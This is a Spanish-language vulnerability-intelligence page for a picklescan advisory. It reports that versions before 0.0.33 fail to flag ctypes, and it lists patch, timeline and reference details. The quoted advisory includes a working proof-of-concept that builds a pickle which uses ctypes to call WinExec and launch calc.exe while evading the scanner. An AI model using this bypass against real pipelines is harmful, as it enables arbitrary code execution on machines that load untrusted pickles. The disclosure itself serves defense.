llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · picklescan

GHSA-4675-36F9-WF6R

Picklescan does not block ctypes

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versiónPrimer parche a -3 d de la divulgación
Exposición325 dDesde la divulgación, 29 dic 2025, 10:23 a. m.
Detección322 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Parche 0.0.33
Monitoreo
Detectada
26 dic 25
29 dic 25
7 jul 26
17 nov 26
19 nov 26
26 dic 25
18 mar 26
8 jun 26
29 ago 26
19 nov 26
FechaFaseEventoDetalle
Remediación Parche 0.0.33 picklescan · -3 d desde divulgación
Divulgación Publicada GHSA-4675-36F9-WF6R divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to
* Load DLLs
* Call C functions directly
* Manipulate memory raw pointers.

This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.

This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected

PoC
import pickle
import ctypes
import operator

class Kernel32Loader:
    def __reduce__(self):
        #we go direct to the kerneeellllllll
        return (ctypes.WinDLL, ("kernel32.dll",))

class WinExecGetter:
    def __reduce__(self):
        return (operator.itemgetter("WinExec"), (Kernel32Loader(),))

class PopCalc:
    def __reduce__(self):
        #methodcaller to invoke "__call__" on the function pointer.
        return (
            operator.methodcaller("__call__", b"calc.exe", 1), 
            (WinExecGetter(),)
        )

try:
    payload = pickle.dumps(PopCalc())
    
    with open("calc_exploit.pkl", "wb") as f:
        f.write(payload)
        
    print("Generated 'calc_exploit.pkl'")

except Exception as e:
    print(f"Generation failed: {e}")

This will create a pickle file which is not detected by the latest version of picklescan as malicious

import pickle
print("Loading bypass.pkl...")
pickle.load(open("calc_exploit.pkl", "rb"))

<img width="1333" height="677" alt="image" src="https://github.com/user-attachments/assets/f5b066f3-116a-4377-a538-f293f3a6c176" />

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
picklescan< 0.0.33
0.0.33
1.0.5
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
pypipicklescan
Corregida 0.0.33 -3 d 1.0.5 no afectada
Versiones corregidas0.0.33
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2025-71323
Otrahttps://github.com/mmaitre314/picklescan/security/advisories/GHSA-4675-36f9-wf6r
Otrahttps://github.com/mmaitre314/picklescan/pull/53
Otrahttps://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab
Otrahttps://github.com/mmaitre314/picklescan
Otrahttps://github.com/mmaitre314/picklescan/releases/tag/v0.0.33
Otrahttps://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-ctypes-module

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.